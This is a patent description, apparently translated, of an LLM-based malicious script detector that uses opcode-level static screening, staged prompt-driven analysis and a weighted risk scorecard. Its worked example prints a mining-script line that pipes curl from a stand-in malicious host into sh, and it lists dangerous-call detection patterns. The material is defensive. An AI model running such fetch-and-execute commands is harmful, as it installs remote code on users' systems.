Malicious script detection method and device, equipment and storage medium

Abstract

The invention relates to a malicious script detection method and device, equipment and a storage medium. The processing operation is executed on the target script through the large language model, and the target prompt word is generated according to the operation result; if the target prompt word is to generate the detection result, comprehensively generating a final detection result according to the operation result of each stage; otherwise, determining the processing operation to be executed according to the target cue word, executing the processing operation to be executed on the operation result through the large language model, and continuing to execute the step of generating the target cue word according to the operation result. It can be seen that when the malicious script is detected, complete codes are not analyzed at a time, step-by-step analysis is carried out in a layer-by-layer advancing mode, and processing operation executed by a large language model in the next stage is guided in a more targeted mode through the operation result and the cue word generated in the previous stage; it is ensured that the intention of codes can be clearly known in each stage, progressive malicious behavior analysis is achieved, and complex malicious scripts are effectively detected.

Description

Technical Field

[0001] The present application relates to the field of malicious script detection, and in particular to a malicious script detection method, apparatus, device and storage medium. Background Art

[0002] With the development of the Internet, network security has become one of the most critical issues in the Internet era, and malicious scripts have become the main means of network attacks in recent years. Malicious scripts are scripts used to perform unauthorized operations or damage the system. Traditional context understanding methods make it difficult to understand the overall semantics and intent of the code. Simply relying on feature matching or behavioral analysis is prone to high false positive rates. With the continuous development of hacker technology, malicious scripts are becoming more and more diverse, and traditional detection methods are difficult to deal with, and often miss reports.

[0003] Therefore, how to accurately detect malicious scripts is a problem that those skilled in the art need to solve. Summary of the invention

[0004] The present application provides a malicious script detection method, apparatus, device and storage medium to accurately detect malicious scripts.

[0005] In a first aspect, the present application provides a method for detecting malicious scripts, comprising:

[0006] Get the target script to be detected;

[0007] Performing a processing operation on the target script through a large language model to obtain an operation result, and generating a target prompt word according to the operation result;

[0008] Determining whether the target prompt word is a generated detection result;

[0009] If not, determining the processing operation to be performed according to the target prompt word;

[0010] Executing the processing operation to be executed on the operation result through the large language model, and continuing to execute the step of generating the target prompt word according to the operation result based on the generated operation result;

[0011] If so, the final test result is generated based on the operation results of each stage.

[0012] Optionally, generating a target prompt word according to the operation result includes:

[0013] The target prompt word is dynamically generated through the context awareness function and operation results of the large language model.

[0014] Optionally, the performing a processing operation on the target script by using the large language model to obtain an operation result, and generating a target prompt word according to the operation result includes:

[0015] The obfuscation features in the target script are identified by the large language model to generate an operation result and a target prompt word; if the obfuscation features are identified, the operation result is a code containing the obfuscation features, and the target prompt word is a restored obfuscated code.

[0016] Optionally, determining a processing operation to be performed according to the target prompt word includes:

[0017] If the target prompt word is a restored obfuscated code, the processing operation to be performed is: restoring the obfuscated code by using the large language model;

[0018] If the target prompt word is structural analysis, the processing operation to be performed is: analyzing the module structure and function call of the code through the large language model;

[0019] If the target prompt word is deep semantic understanding, the processing operation to be performed is: analyzing the actual function of the semantic understanding of the code through the large language model;

[0020] If the target prompt word is behavior feature extraction, the processing operation to be performed is: extracting malicious behavior features through the large language model.

[0021] Optionally, the step of comprehensively generating a final detection result according to the operation results of each stage includes:

[0022] Determine the code analysis result according to the operation results of each stage; the code analysis result includes at least one of the code obfuscation degree analysis result, code danger analysis result, system command analysis result, network communication analysis result, and malicious behavior feature analysis result;

[0023] Calculate the total risk score according to each type of code analysis result and the weight coefficient corresponding to each type of code analysis result;

[0024] The malicious risk rating result of the target code is determined according to the total risk score.

[0025] Optionally, before the processing operation is performed on the target script by the large language model, the method further includes:

[0026] Extracting the Opcode sequence in the target script;

[0027] Dividing the Opcode sequence into a plurality of basic blocks;

[0028] Analyze multiple basic blocks to generate static analysis results;

[0029] Determine whether the target script has malicious behavior according to the static analysis result;

[0030] If yes, the step of performing a processing operation on the target script by using a large language model is performed.

[0031] Optionally, analyzing the multiple basic blocks to generate static analysis results includes:

[0032] Analyze each basic block and generate a basic block analysis result; the basic block analysis result includes: at least one of the occurrence frequency of different instructions, dangerous function call detection results, loop structure complexity, network operation detection results, and file operation detection results;

[0033] Summarize the analysis results of each basic block to generate static analysis results.

[0034] In a second aspect, the present application provides a malicious script detection device, including:

[0035] An acquisition module is used to obtain the target script to be detected;

[0036] A first execution module, configured to execute a processing operation on the target script through a large language model to obtain an operation result;

[0037] A first generating module, used to generate a target prompt word according to the operation result;

[0038] A first judgment module is used to judge whether the target prompt word is a generated detection result; if not, trigger the determination module; if yes, trigger the second generation module;

[0039] A determination module, used to determine a processing operation to be performed according to the target prompt word;

[0040] a second execution module, configured to execute the processing operation to be executed on the operation result through the large language model, and trigger the first generation module based on the generated operation result;

[0041] The second generation module is used to comprehensively generate the final detection result according to the operation results of each stage.

[0042] In a third aspect, the present application provides an electronic device, including:

[0043] A processor, a memory, and a computer program stored in the memory and executable on the processor, wherein the processor executes the steps of the malicious script detection method of the present application through the computer program.

[0044] In a fourth aspect, the present application further provides a computer storage medium, wherein the computer storage medium stores computer executable instructions, and the computer executable instructions are used to execute the steps of the malicious script detection method described above in the present application.

[0045] The above technical solution provided by the embodiment of the present application has the following advantages compared with the prior art: when detecting malicious scripts, the present application obtains the target script to be detected, performs processing operations on the target script through the large language model to obtain the operation result, and generates the target prompt word according to the operation result; determines whether the target prompt word is to generate the detection result; if not, determines the processing operation to be performed according to the target prompt word; performs the processing operation to be performed on the operation result through the large language model, and continues to perform the step of generating the target prompt word according to the operation result based on the generated operation result; if so, generates the final detection result comprehensively according to the operation results of each stage. It can be seen that when detecting malicious scripts, the present application uses the large language model for deep semantic understanding, which can accurately infer potential malicious intentions, so as to identify more complex and hidden malicious behaviors; and the large language model of the present application does not parse the complete code at one time, but analyzes it step by step in the form of layer-by-layer advancement. Through the operation results and prompt words generated in the previous stage, it more specifically guides the processing operations performed by the large language model in the next stage, ensuring that the intention of the code can be clearly understood at each stage, realizing progressive malicious behavior analysis, and effectively detecting complex malicious scripts. BRIEF DESCRIPTION OF THE DRAWINGS

[0046] The accompanying drawings, which are incorporated in and constitute a part of this specification, illustrate embodiments consistent with the invention and, together with the description, serve to explain the principles of the invention.

[0047] In order to more clearly illustrate the embodiments of the present invention or the technical solutions in the prior art, the drawings required for use in the embodiments or the description of the prior art will be briefly introduced below. Obviously, for ordinary technicians in this field, other drawings can be obtained based on these drawings without paying any creative labor.

[0048] One or more embodiments are exemplarily described by pictures in the corresponding drawings, and these exemplified descriptions do not constitute limitations on the embodiments. Elements with the same reference numerals in the drawings represent similar elements, and unless otherwise stated, the figures in the drawings do not constitute proportional limitations.

[0049] Figure 1 A schematic diagram of a malicious script detection method provided in an embodiment of the present application;

[0050] Figure 2 A schematic diagram of another malicious script detection method provided in an embodiment of the present application;

[0051] Figure 3 A schematic diagram of another malicious script detection method provided in an embodiment of the present application;

[0052] Figure 4 A schematic diagram of the structure of a malicious script detection device provided in an embodiment of the present application;

[0053] Figure 5 A schematic diagram of the structure of an electronic device provided in an embodiment of the present application. DETAILED DESCRIPTION

[0054] In order to make the purpose, technical solution and advantages of the embodiments of the present application clearer, the technical solution in the embodiments of the present application will be clearly and completely described below in conjunction with the drawings in the embodiments of the present application. Obviously, the described embodiments are part of the embodiments of the present application, not all of the embodiments. Based on the embodiments in the present application, all other embodiments obtained by ordinary technicians in this field without making creative work are within the scope of protection of this application.

[0055] The disclosure below provides many different embodiments or examples to implement different structures of the present invention. In order to simplify the disclosure of the present invention, the parts and settings of specific examples are described below. Of course, they are only examples, and the purpose is not to limit the present invention. In addition, the present invention can repeat reference numbers and / or letters in different examples. This repetition is for the purpose of simplification and clarity, and does not itself indicate the relationship between the various embodiments and / or settings discussed.

[0056] The embodiments of the present application disclose a malicious script detection method, apparatus, device and storage medium to accurately detect malicious scripts.

[0057] See also Figure 1 , Figure 1 A schematic diagram of a malicious script detection method provided in an embodiment of the present application, the method specifically comprises the following steps:

[0058] S101, obtaining a target script to be detected;

[0059] In this embodiment, the script to be analyzed is called a target script, which may be a source code file, a text file, or a dynamically generated code string, such as an obfuscated Python (computer programming language) mining script.

[0060] S102, performing a processing operation on the target script through the large language model to obtain an operation result;

[0061] In this embodiment, the large language model is LLM (Large Language Model). This application uses LLM to perform semantic analysis, which can perform deep semantic understanding of the target script and effectively identify malicious scripts. Its recognition effect far exceeds the traditional rule-based analysis effect.

[0062] S103, generating a target prompt word according to the operation result;

[0063] When the present application is analyzed by a large language model, a multi-stage progressive method is used for analysis, through which the script can be gradually analyzed in depth, rather than trying to parse the entire content at one time. Therefore, the processing operation performed by the present application on the target script is an initial processing operation. After obtaining the operation result of the initial processing operation, the corresponding target prompt word can be dynamically generated according to the operation result. The present application specifically generates the target prompt word dynamically through the context-aware function of the large language model and the operation result. The target prompt word is used to determine the processing operation of the next stage, so as to guide the large language model to perform which type of processing operation on the operation result in the next stage. In addition, after executing the processing operation of each stage, the present application needs to dynamically generate the target prompt word in combination with the operation result. This method of dynamically generating prompt words can achieve more efficient and accurate analysis and detection of malicious scripts.

[0064] It should be noted that the present application can perform a preliminary scan on the target script and identify the obfuscation features in the target script. The obfuscation features can be specifically base64 encoding, string concatenation, etc., which are not specifically limited here. Therefore, the process of performing a processing operation on the target script through a large language model to obtain an operation result, and generating a target prompt word according to the operation result can be specifically as follows: identifying the obfuscation features in the target script through a large language model, generating an operation result and a target prompt word; if the obfuscation feature is identified, the operation result is a code containing the obfuscation feature, and the target prompt word is a restored obfuscation code. If the obfuscation feature is not identified, the operation result is empty, indicating that the obfuscation feature is not identified, and the target prompt word is a structural analysis.

[0065] S104, determining whether the target prompt word is a generated detection result;

[0066] If not, execute S105; if yes, execute S107;

[0067] In this embodiment, the analysis of the target script by the large language model can be completed through multiple stages of processing operations, and the processing operation to be performed in the next stage is determined by the target prompt word of the previous stage, and the final detection result is obtained after each processing operation is performed in sequence. In addition, in this scheme, it can be determined whether the processing operation is completed by judging whether the target prompt word is a method of generating a detection result; if the target prompt word is a method of generating a detection result, it means that no further processing operation is required, and if the target prompt word is not a method of generating a detection result, S105 is continued to be executed, and the processing operation to be performed in the next stage is continued to be determined and executed until the generated target prompt word is a method of generating a detection result.

[0068] S105, determining the processing operation to be performed according to the target prompt word;

[0069] S106, executing the processing operation to be executed on the operation result through the large language model, and continuing to execute S103 based on the generated operation result;

[0070] After the target prompt word is determined in this solution, the processing operation to be performed in the next stage can be determined according to the target prompt word, so as to achieve more targeted guidance of the large language model for analysis and processing. For example, if the target prompt word is to restore the obfuscated code, the processing operation generated according to the target prompt word is: restore the obfuscated code operation.

[0071] S107, comprehensively generate the final detection result according to the operation results of each stage.

[0072] This application can obtain operation results at different stages by performing different processing operations at different stages. If the target prompt word is to generate detection results, it means that the target script has been analyzed. At this time, the final detection result can be generated based on the operation results of each stage. For example: by analyzing the operation results of each stage, it can be known that the target script contains obfuscated code, and there are system command calls, remote access behaviors and malicious behavior characteristics. Therefore, the malicious risk rating result of the target script can be determined as: high risk.

[0073] In summary, this application detects malicious scripts in a multi-stage progressive manner. Through the powerful context understanding ability of the large language model, the operation results of each stage can be used as input to guide the generation of prompt words for the next stage, making the analysis process of the large language model more targeted and accurate. In addition, this dynamic prompt word generation mechanism ensures that each analysis stage is based on the context information of the previous stage, thereby improving the efficiency and accuracy of the overall detection.

[0074] See also Figure 2 , Figure 2 A schematic diagram of another malicious script detection method provided in an embodiment of the present application, the method specifically comprises the following steps:

[0075] S201, obtaining a target script to be detected;

[0076] S202, extracting the Opcode sequence in the target script;

[0077] S203, dividing the Opcode sequence into a plurality of basic blocks;

[0078] S204, analyzing multiple basic blocks to generate static analysis results;

[0079] S205, judging whether the target script has malicious behavior according to the static analysis result;

[0080] If yes, execute S206; if no, end the process;

[0081] S206, performing a processing operation on the target script through the large language model to obtain an operation result;

[0082] S207, generating a target prompt word according to the operation result;

[0083] S208, determining whether the target prompt word is a generated detection result;

[0084] If not, execute S209; if yes, execute S211;

[0085] S209, determining the processing operation to be performed according to the target prompt word;

[0086] S210, executing the processing operation to be executed on the operation result through the large language model, and continuing to execute S207 based on the generated operation result;

[0087] S211. Generate a final test result based on the operation results of each stage.

[0088] In this embodiment, the target script can be a source code file. After the source code file is converted into bytecode, it can be disassembled to obtain an Opcode sequence, which contains an opcode and its corresponding operand. Specifically, Opcode, also known as an operation code, is the result of compiling the Python source code. The Python virtual machine cannot directly execute human-readable source code, so the Python compiler first compiles the source code to obtain the opcode. For example, when executing a Python program, a pyc file is generally generated first. The pyc file is the result of the compilation, which contains an opcode sequence. dis is a built-in module provided by Python for analyzing opcodes. Here, the opcode is explained through the following example program.

[0089] The example program is:

[0090]

[0091] The output is:

[0092]

[0093]

[0094] In the above results, LOAD_CONST, STORE_FAST, and BINARY_ADD are opcodes. Python is a stack-based language. LOAD_CONST pushes constants onto the stack, and SOTRE_FAST assigns the top element of the stack to the variable specified by the parameter. There are about 110 opcodes defined in Python 2.7, of which more than 90 opcodes require parameters.

[0095] Specifically, if the target script to be detected is a Python source code file, it must first be loaded into memory, and then Python's built-in tools (such as the compile function) must be used to compile the source code into bytecode. For example, if the target script is an obfuscated mining script, the source code snippet is:

[0096]

[0097] Then use a tool like Python dis module to disassemble the compiled bytecode and extract the Opcode instructions in the bytecode. Each instruction will have two parts: Opcode operation code and possible operands (such as jump target address, function call, etc.). For example: the output result of the extracted Opcode instruction is:

[0098]

[0099] Finally, the generated Opcode sequence is stored, which includes the opcode, operand and other information of each Opcode instruction. The output data structure is in the form of a sequence (list), or can be directly stored in a structured format (such as JSON or database).

[0100] In this embodiment, a basic block is a continuous Opcode sequence that does not contain a jump instruction. Therefore, when the present application divides the Opcode sequence into multiple basic blocks, it is first necessary to traverse the Opcode instructions in the Opcode sequence. Then, according to the Opcode instructions, all jump-related instructions are identified. The instructions related to jumps can specifically be: JUMP_ABSOLUTE, POP_JUMP_IF_TRUE, JUMP_FORWARD, etc. These instructions will cause the transfer of control flow and are usually used as the demarcation point of the basic block. Therefore, the basic block is divided at the identified jump instruction, that is: every time a jump instruction is encountered, it is regarded as the end of the basic block, and the next instruction is regarded as the beginning of a new basic block. After the Opcode sequence is divided into multiple basic blocks, a unique identifier is assigned to each basic block, such as: Block 0, Block 1, etc.

[0101] For example, the input Opcode sequence fragment is:

[0102] LOAD_GLOBAL 0(eval)

[0103] LOAD_CONST 1('compile')

[0104] JUMP_ABSOLUTE 10

[0105] LOAD_GLOBAL 1(base64.b64decode)

[0106] CALL_FUNCTION 1

[0107] The output basic block list is:

[0108] Plain Text

[0109] Block 0:[LOAD_GLOBAL,LOAD_CONST]

[0110] Block 1: [JUMP_ABSOLUTE]

[0111] Block 2:[LOAD_GLOBAL,CALL_FUNCTION]

[0112] In this embodiment, the process of analyzing multiple basic blocks to generate static analysis results is specifically as follows: analyzing each basic block to generate a basic block analysis result; the basic block analysis result includes: at least one of the occurrence frequency of different instructions, dangerous function call detection results, loop structure complexity, network operation detection results, and file operation detection results; summarizing the analysis results of each basic block to generate a static analysis result.

[0113] Specifically, the solution analyzes multiple basic blocks and can generate basic block analysis results for each basic block. The basic block analysis results can be static feature vectors. The static feature vectors can be numerical vectors generated based on features such as instruction frequency and dangerous function calls. When generating basic block analysis results, the following steps can be performed:

[0114] 1. Statistical instruction frequency: Calculate the frequency of occurrence of different Opcode instructions in each basic block, for example, the number of times LOAD_GLOBAL, CALL_FUNCTION and other instructions appear in different basic blocks.

[0115] 2. Detect dangerous function calls: Mark the Opcode sequences involving dangerous operations, such as calling eval, exec, os.system and other functions. If the basic block contains calls to these functions, assign them corresponding weights. For example, if Block 0 detects an eval call, the weight is +5; if Block 1 detects an os.system call, the weight is +5.

[0116] 3. Determine loop structure complexity: Detect the complexity of loop structure, such as the frequency of using FOR_ITER instruction, and give higher weight to complex loops. For example, if the script contains complex loops (such as multi-layer nested loop structures), the frequency of loop opcodes will lead to a higher complexity score.

[0117] 4. Detect file system operations and network operations: Detect file operations (such as open, write) and network operations (such as socket, connect) through Opcode. These operations are often related to malicious behavior and need to be weighted.

[0118] 5. Generate global feature vector: Aggregate the static feature vector of each basic block into the global feature vector of the entire script. Common summary features include: number of basic blocks, total number of instructions, total number of dangerous function calls, maximum cyclomatic complexity, and number of network / file operations.

[0119] For example:

[0120] Plain Text

[0121] Static feature vector: [Number of basic blocks = 3, total number of instructions = 10, dangerous function calls = 2, maximum cyclomatic complexity = 1, file operations = 0, network operations = 0]

[0122] The static feature vectors output above are analyzed. If there are obvious malicious behaviors in the static feature vectors, such as multiple calls to eval and exec, or highly complex loop structures, they are marked as "suspicious" and enter the next step of deep semantic analysis.

[0123] From the above, it can be seen that in order to reduce the cost of using large models, this application can use static analysis results to preliminarily screen the target scripts to be detected. If the static analysis results show obvious malicious behavior, such as multiple calls to functions such as eval, exec, os.system, and the presence of highly complex loop structures, the target script will be marked as "suspicious", and S206-S211 will be executed to enter the next step of the deep semantic analysis process; and the static analysis results in this application are a fine-grained analysis method at the Opcode level, which can provide more fine-grained insights than source code analysis and effectively preliminarily screen malicious scripts.

[0124] Based on the above embodiment, in this embodiment, when determining the processing operation to be executed according to the target prompt word, the following steps are included:

[0125] If the target prompt word is to restore the obfuscated code, the processing operation to be executed is: restore the obfuscated code through the large language model; if the target prompt word is structural analysis, the processing operation to be executed is: analyze the module structure and function call of the code through the large language model; if the target prompt word is deep semantic understanding, the processing operation to be executed is: analyze the actual function of the semantic understanding of the code through the large language model; if the target prompt word is behavioral feature extraction, the processing operation to be executed is: extract malicious behavior features through the large language model.

[0126] Specifically, the large language model is a pre-trained model that can analyze the context of the entire script and infer the potential intent of the code. This process needs to guide the processing operations performed by the large language model in the next stage according to the target prompt words generated in the previous stage, that is, the large language model will perform different processing operations according to different target prompt words. Here, a specific embodiment is provided to illustrate the overall processing process:

[0127] If the target script is an obfuscated Python mining script text, the script text is input into the large language model. The processing operation performed by the large language model is to identify the obfuscation features, and the output operation results are: obfuscation feature tags and prompt words; among them, the recognition result of the obfuscation feature affects the subsequent prompt word generation. For example, if base64 encoding obfuscation is identified in the script text, the dynamically generated prompt word is "Please try to decode the base64 encoded content."

[0128] For example, the Python mining script text entered is:

[0129] Python

[0130] import base64

[0131] exec(base64.b64decode("aW1wb3J0IG9zCg=="))

[0132] The output operation result includes the obfuscation feature, that is, the base64 code; the dynamically generated prompt word is: base64 code is recognized, please try to restore the encoded content. At this time, the processing operation generated according to the prompt word is to restore the obfuscated code.

[0133] The operation results of the previous stage (code containing obfuscation features) and the prompt word (base64 encoding is recognized, please try to restore the encoding content) are input into the large language model. The processing operation performed by the large prediction model is: deobfuscation operation is performed on the input code containing obfuscation features, and the output operation result is: partially deobfuscated code. The prompt word can be further generated based on the content of the deobfuscated code. For example: if it is detected that the deobfuscated code contains a function call, the prompt word will be dynamically adjusted to structural analysis to analyze the function's call structure and dependency relationship.

[0134] For example, the input code containing obfuscation features is:

[0135] Python

[0136] #Before deobfuscation

[0137] exec(base64.b64decode("aW1wb3J0IG9zCg=="))

[0138] #After deobfuscation

[0139] import os

[0140] The output operation results include the deobfuscated code: import os; the generated prompt words: after removing the base64 obfuscation, the os module is found to be imported, and the structure analysis is then performed. At this time, the processing operation generated according to the prompt words is to analyze the module structure and function calls of the code through the large language model.

[0141] The operation results of the previous stage (deobfuscated code) and prompt words (after removing base64 obfuscation, the os module import is found, and then structural analysis is performed) are input into the large language model. The processing operation performed by the large prediction model is: structural analysis of the input deobfuscated code, analysis of module structure and function calls, and the output operation results are: code structure diagram, module dependency relationship, and prompt words can be further generated based on the analysis results of the deobfuscated code content. For example, if the code contains system command execution, the model can automatically generate prompt words based on the context: deep semantic understanding.

[0142] For example, the deobfuscated code entered is:

[0143] Python

[0144] import os

[0145] def start_mining():

[0146] os.system("some_mining_command")

[0147] The output operation results include the start_mining function and os.system; the dynamically generated prompt words are: system command execution is detected, and its potential behavior is analyzed, such as cryptocurrency mining. At this time, the processing operation generated according to the prompt word is to understand the actual function semantically. If the code contains a system command call, its potential behavior purpose is analyzed.

[0148] The operation results of the previous stage (code after structural analysis) and prompt words (system command execution is detected and its potential behavior is analyzed, such as cryptocurrency mining) are input into the large language model. The processing operation performed by the large prediction model is: semantic understanding of actual functions, that is: in-depth analysis of the semantics of the code to understand its actual functions; the output operation results are: code function description, and prompt words are automatically generated according to the code structure and function call details. For example, when os.system calls are found in the structural analysis, the prompt words are: behavioral feature extraction.

[0149] For example, the code after input structural analysis is:

[0150] Python

[0151] def start_mining():

[0152] os.system("curl http: / / malicious-server.com|sh")

[0153] The output operation result includes a description of the function's behavior: the function downloads and executes a malicious script through a system command, which may be used to start cryptocurrency mining. The prompt word may be: analyze the remote script downloaded by the command to determine whether there is malicious behavior. At this time, the processing operation generated according to the prompt word is to extract the malicious behavior characteristics.

[0154] The operation results of the previous stage (code after deep semantic analysis) and the prompt words (analyzing the remote script downloaded by the command to determine whether there is malicious behavior) are input into the large language model. The processing operation performed by the large prediction model is: extracting malicious behavior features; the output operation results are: malicious behavior tags, prompt words dynamically adjusted to generate malicious behavior features, and generating reports. For example: when malicious downloading behavior is identified, the prompt words will guide it to generate features, such as "downloading remote files and executing them may involve malicious mining activities."

[0155] For example, the code after deep semantic analysis is:

[0156] Python

[0157] def start_mining():

[0158] os.system("curl http: / / malicious-server.com|sh")

[0159] The output operation results include malicious behavior features: downloading and executing remote scripts, potential mining behavior. The dynamically generated prompt words are: extract the malicious behavior features of the code and generate a report. At this point, the final detection results can be generated based on the operation results of each stage.

[0160] In summary, the semantic analysis method based on a large language model provided by this application has the following improvements compared to the traditional solution:

[0161] 1. Context-based feedback: In this application, the operation results of each stage will be used as context input to dynamically generate prompt words for the next stage. This method can ensure that the analysis process is closely connected and avoid duplication or irrelevance of prompt words.

[0162] 2. Targeted enhancement: The prompt words in this application are not pre-set static patterns, but are automatically adjusted according to the actual situation of the code to provide more specific and targeted analysis guidance.

[0163] 3. Real-time adjustment of analysis strategies: In this application, the output of each stage directly affects the prompt words in the subsequent steps, which makes the entire analysis process more flexible and intelligent. For example, the initial scan finds that the base64 encoding will generate the corresponding deobfuscation prompt words, and if specific system calls are found in the code, the prompt words will automatically switch to analyzing the actual purpose behind these calls.

[0164] 4. Clear progression of the analysis process: As shown in the above embodiments, the obfuscation features, decoding process, structural analysis and semantic understanding of the code are all generated through context-aware prompt words to achieve progressive malicious behavior analysis. Through context-aware dynamic prompt word generation, more efficient and accurate analysis and detection of malicious scripts can be achieved.

[0165] 5. Gradual in-depth analysis: This application does not parse the entire code at once, but rather advances through layers to ensure that the intent of the code is clearly understood at each step. This approach can gradually reveal potential threats, especially in obfuscated code.

[0166] 6. Dynamic Deobfuscation: Based on the preliminary scanning results, this application flexibly applies a large language model to remove obfuscation operations and help restore the true intent of the malicious code.

[0167] 7. Behavior analysis: Not only does it stop at surface structure analysis, the model goes deep into the code semantic level, extracts malicious behavior features, and can effectively detect complex malicious mining scripts.

[0168] 8. Combination of obfuscation and decoding: The model can use different decoding strategies to restore obfuscation features according to different encoding methods and obfuscation techniques, rather than presetting a unique decoding method, so that this solution can restore more types of obfuscation features.

[0169] See also Figure 3 , Figure 3 A schematic diagram of another malicious script detection method provided in an embodiment of the present application, the method specifically comprises the following steps:

[0170] S301, obtaining a target script to be detected;

[0171] S302, performing a processing operation on the target script through the large language model to obtain an operation result;

[0172] S303, generating a target prompt word according to the operation result;

[0173] S304, determining whether the target prompt word is a generated detection result;

[0174] If not, execute S305; if yes, execute S307;

[0175] S305, determining the processing operation to be executed according to the target prompt word;

[0176] S306, executing the processing operation to be executed on the operation result through the large language model, and continuing to execute S303 based on the generated operation result;

[0177] S307, determining a code analysis result according to the operation results of each stage; the code analysis result includes at least one of a code obfuscation degree analysis result, a code risk analysis result, a system command analysis result, a network communication analysis result, and a malicious behavior feature analysis result;

[0178] S308, calculating the total risk score according to each type of code analysis result and the weight coefficient corresponding to each type of code analysis result;

[0179] S309. Determine the malicious risk rating result of the target code according to the total risk score.

[0180] In this embodiment, different code analysis results are determined specifically according to the operation results of each stage. The code analysis results include: obfuscation degree analysis results, code danger analysis results, system command analysis results, network communication analysis results, malicious behavior feature analysis results, etc. The code analysis results can be specifically in the form of a score, and each code analysis result is set with a corresponding weight coefficient. The total danger score can be calculated through the score and weight coefficient of each code analysis result, thereby determining the malicious risk rating result.

[0181] Specifically, the present application may set up a scoring card, which includes scoring parameters and weight coefficients for each parameter; wherein the scoring parameters are decomposed according to the operation results at different stages, and the values ​​of the scoring parameters are the code analysis results at each stage; the weight coefficients are used to measure the importance of malicious code in different dimensions, and the total risk score is calculated based on the weighted sum of each parameter; the scoring card can help quantify the risk level of malicious code and make the detection results more systematic and quantitative.

[0182] See Table 1, which is a schematic diagram of the scoring card structure provided in an embodiment of the present invention.

[0183] Table 1

[0184]

[0185] As can be seen from Table 1, the scoring parameters in this application specifically include: degree of obfuscation, dangerousness of the deobfuscated code, use of system commands or dangerous calls, network communication or remote access, and specific malicious behavior characteristics. Here, each scoring parameter is specifically described:

[0186] Obfuscation Complexity is used to evaluate the complexity of obfuscation in the code, such as obfuscation techniques such as base64 encoding, string concatenation, and eval / exec calls. In this embodiment, the scoring interval can be set to 1-10, and the weight can be set to 20%. The risk of the deobfuscated code (Post-Deobfuscation Code Risk) is the potential risk shown by the deobfuscated code. For example, whether it contains system command calls, remote script downloads, or direct file operations. In this embodiment, the scoring interval can be set to 1-10, and the weight can be set to 25%. The use of system commands or dangerous calls (Dangerous Command Usage) is used to indicate whether dangerous system commands or system resource calls are used in the code, such as: os.system, subprocess, exec, eval. In this embodiment, the scoring interval can be set to 1-10, and the weight can be set to 20%. Network communication or remote access (Network or Remote Access Behavior) is used to evaluate whether the code contains network communication, especially behaviors involving downloading remote files or communicating with suspicious servers. In this embodiment, the scoring interval can be set to 1-10, and the weight can be set to 15%. Specific Malicious Behavior Patterns are used to determine whether the code exhibits typical malicious behavior characteristics, such as cryptocurrency mining, data theft, malware installation, etc. In this embodiment, the scoring interval can be set to 1-10, and the weight can be set to 20%.

[0187] From the above scorecard, we can know that the total risk score is calculated as follows:

[0188] Total score = (obfuscation degree score * 20%) + (dangerousness score of deobfuscated code * 25%) + (system command or dangerous call usage score * 20%) + (network communication or remote access score * 15%) + (specific malicious behavior feature score * 20%).

[0189] Among them, the obfuscation degree score is the score in the obfuscation degree analysis result, the risk score of the deobfuscated code is the score in the code risk analysis result, the use score of system commands or dangerous calls is the score in the system command analysis result, the network communication or remote access score is the score in the network communication analysis result, and the specific malicious behavior feature score is the average score in the malicious behavior feature analysis result. In addition, this solution can divide the malicious code risk into different levels according to the total risk score, such as:

[0190] High risk: Score ≥ 8 Description: This type of code exhibits severe obfuscation and dangerous behavior characteristics and may be involved in actual malicious activities.

[0191] Medium risk: 6≤Score<8 Description: This type of code is potentially dangerous but may not fully demonstrate typical malicious behavior.

[0192] Low risk: score <6 Description: This type of code has a low degree of obfuscation and fewer dangerous features, and may be a false positive.

[0193] For example, through comprehensive analysis of meta-prompt words, the following specific code analysis results for each parameter are obtained, and the code analysis results are specific scores: through the operation results, it is found that the code uses base64 encoding and string concatenation technology, so the obfuscation degree analysis result is: 8 / 10; through the operation results, it is found that there are system calls and network communications after deobfuscation, so the code risk analysis result is: 9 / 10; through the operation results, it is found that os.system is used in the code to execute remote download scripts, so the system command analysis result is set to: 8 / 10; through the operation results, the behavior of downloading files from a remote server through curl is found, so the network communication analysis result is set to: 7 / 10; through the operation results, it is found that the code exhibits typical mining behavior, so the malicious behavior feature analysis result is set to: 9 / 10.

[0194] Based on the above analysis results, the total risk score is calculated:

[0195] Plain Text

[0196] Total score = (8*20%) + (9*25%) + (8*20%) + (7*15%) + (9*20%)

[0197] =1.6+2.25+1.6+1.05+1.8

[0198] =8.3

[0199] Through the above calculation, we can see that the total risk score is 8.3 and the risk level is high, indicating that the target script has a high malicious risk and is more likely to be a malicious script.

[0200] After the application detects the target script, it can also generate an analysis report based on the entire detection process and return it to the user. The analysis report records the entire analysis process in detail, including the target script's total risk score, risk level, potential risks and recommended measures, etc. If the risk level is high, an early warning message can also be generated at this time.

[0201] It should be noted that when generating the final judgment, the meta-prompt word can dynamically combine the analysis results with the scorecard parameters. For example:

[0202] Plain Text

[0203] Based on your previous analysis, please provide scores for the following parameters and calculate the total score by combining the scorecard weights:

[0204] 1. Obfuscation level (1-10): Please rate based on the complexity of the obfuscation technique.

[0205] 2. Danger of the deobfuscated code (1-10): Evaluate the danger of the deobfuscated code based on its behavior.

[0206] 3. Use of system commands or dangerous calls (1-10): Please rate based on the type of system command calls.

[0207] 4. Network communication or remote access behavior (1-10): Please evaluate whether there is any network communication or remote access in the code.

[0208] 5. Specific malicious behavior characteristics (1-10): If there are mining or other malicious behavior characteristics in the code, please rate it.

[0209] Based on the weights of the scorecard, the final total malicious risk score is calculated, and the risk level of the code and recommended protective measures are given.

[0210] It can be seen that this application uses meta-prompt words to enable the large language model to automatically generate scores for each parameter, and finally calculate the overall malicious risk rating of the code by combining the weights. This method not only structures the analysis process, but also quantifies qualitative judgments, making it easier to generate final risk reports and recommendations.

[0211] From the above, it can be seen that this application not only relies on surface feature matching or simple behavior analysis, but also introduces LLM for semantic analysis, extracts behavior features from the semantic level of code logic, uses different prompt words to extract various features respectively, and dynamically generates prompt words for the next stage according to the analysis results of each stage, so that the analysis is more targeted, and sets meta-prompt words to guide the model to make a final judgment based on comprehensive information from all aspects. In this way, this solution can deeply understand the semantics of the script, so that it can accurately identify more complex and hidden malicious behaviors, understand the overall intention of the script, effectively fight against various bypass technologies, and reduce the false alarm rate; and this solution has fast analysis speed and low resource consumption through optimized architecture design.

[0212] See also Figure 4 , Figure 4 A schematic diagram of the structure of a malicious script detection device provided in an embodiment of the present application, the device specifically comprises:

[0213] An acquisition module 11 is used to acquire a target script to be detected;

[0214] A first execution module 12, configured to execute a processing operation on the target script through a large language model to obtain an operation result;

[0215] A first generating module 13, used to generate a target prompt word according to the operation result;

[0216] The first judgment module 14 is used to judge whether the target prompt word is a generated detection result; if not, the determination module 15 is triggered; if yes, the second generation module 17 is triggered;

[0217] A determination module 15, used to determine a processing operation to be performed according to the target prompt word;

